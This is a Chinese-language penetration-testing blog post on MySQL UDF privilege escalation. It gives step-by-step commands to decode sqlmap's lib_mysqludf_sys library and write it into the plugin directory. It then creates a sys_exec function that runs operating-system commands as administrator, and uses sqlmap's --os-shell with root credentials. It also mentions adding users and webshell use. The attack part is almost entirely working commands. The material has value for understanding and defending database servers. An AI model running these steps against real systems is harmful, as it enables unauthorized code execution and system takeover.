MYSQL提权--UDF提权

·
渗透测试 提权 April 7, 2020

前言:

udf提权是通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限

什么是UDF:

udf(Userdefined function)是用户自定义函数
在mysql中函数是什么,比如mysql中常见的sleep(),sum(),ascii()等都是函数
udf就是为了让我们开发者能够自己写方便自己函数,它有3种返回值,这三种分别是STRING,INTEGER,REAL

STRING        字符型
INTEGER       整型
REAL          实数型

提权的前提:

  • mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的libplugin文件夹下
  • mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:windowssystem32目录,在windows server - - 2000下放置在c:winntsystem32目录。
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
  • 版本大于5.1的udf.dll放到mysql安装目录的libplugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建libplugin文件夹,然后将udf.dll导出到这个目录。

windows下MySQL提权:

首先、查看一下MySQL是32位的还是64位的,查看这个有几种方式:

  • mysql -V
  • mysql --version
  • 进入MySQL数据库中,执行: show variables like '%version_%';
    我这里使用PHPstudy建立的MySQL数据库来演示

111.png
可以看到我这里的数据库是32位的,那么一会我们先使用sqlmap自带的udf.dll来进行提权

查看数据库版本,方法如下:

  • select version() from dual; //使用SQL语句查询
  • 使用mysql -u -p的方式连接数据库后通过登录信息可以看到数据库版本
  • 使用mysql -u -p的方式连接数据库后执行 status 或者 s 也可以看到数据库版本

通过查看我这里的MySQL版本是5.5.53,是个高版本MySQL数据库
然后我们接下来看看MySQL的文件导出功能有没有开启,这里使用的查看语句是:

SHOW VARIABLES LIKE "secure_file_priv"; 

222.png
发现文件导出功能是关闭的,这个时候我们就需要想办法修改my.ini这个文件的配置,使 "secure_file_priv="有这个参数
接下来、获取插件路径:

select @@basedir;
select @@plugin_dir;
show variables like '%plugins%';

333.png
然后我们将udf.dll文件导入到MySQL插件目录中
找到本地sqlmap中的udf.dll文件,选择Windows及MySQL32位的,进行上传导入,这里需要注意的是sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py。

python cloak.py -d -i /usr/local/Cellar/sqlmap/1.2.11/libexec/udf/mysql/windows/32/lib_mysqludf_sys.dll_

1014.png
解码后上传发现报错,这里的原因是由于MySQL安装在了C盘,没有权限写入

SELECT LOAD_FILE('/usr/local/Cellar/sqlmap/1.2.11/libexec/udf/mysql/windows/32/lib_mysqludf_sys.dll') into DUMPFILE 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';

555.png
所以在Windows系统下如果MySQL在C盘的话,基本上就可以略过UDF提权的办法了
接下来我将数据库装到别的盘进行尝试,我这里装到了E盘
777.png
可以看到,依然无法导入,这里的原因是由于MySQL的lib下没有plugin这个目录导致的
888.png
该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录。
为了方便测试,我这里直接新建一个然后将dll导入到plugin里,导入方法不限,只要你想办法弄进去就行
999.png
导入成功,接着就可以使用上传上去的这个dll文件创建一个函数

CREATE FUNCTION sys_exec RETURNS  STRING SONAME 'udf.dll';

1010.png
执行系统命令,因为我MySQL连接工具执行的没有回显,所以这里弹一个计算器演示,这时,我们的权限就已经是系统管理员的权限了

select sys_exec('calc');

成功弹出计算器,那么这个时候我们就可以添加用户,等等之类的。

下面在介绍另外一种方法,就是直接使用sqlmap自动提权,当然前提是要满足上面说的条件后才可以,我这里就直接演示

sqlmap -d "mysql://root:root@192.168.10.113:3306/test" --os-shell

1012.png
可以看到,已经是管理员权限。
上面说的我的MySQL版本是5.5.53,也就是MySQL的高版本,当然,用提权专用的webshell也是可以的,如下图
1013.png
至于MySQL版本小于5.1的,就特别轻松了,还是上面的思路,但是比上面的简单,这里就不再赘述。

Linux下MySQL提权:

其实Linux下提权与Windows下的套路相同,不过就是有一些注意的点是上面和Windows一样,用cloak.py解码so文件,然后进行上传,其他基本一样。

当然UDF的提权不仅仅只是这一种方法,还有提取文件的十六进制生成新的16进制等等,这里不再赘述。

总结:

  • 通过select @@basedir; //查看安装目录,必须不能在C盘
  • 通过show variables like ‘%secure%’; //查看参数当前状态,为空,不能为NULL
    如果不能满足上面这两条,成功提权的几率就很小了
  • google hack 之 sql注入
  • 内网渗透1-基础信息搜集

_(:3 」∠)_
(抱歉)
这里不能评论哦

Title
前言:
什么是UDF:
提权的前提:
windows下MySQL提权:
Linux下MySQL提权:

© 2021 OnionT's Blog. .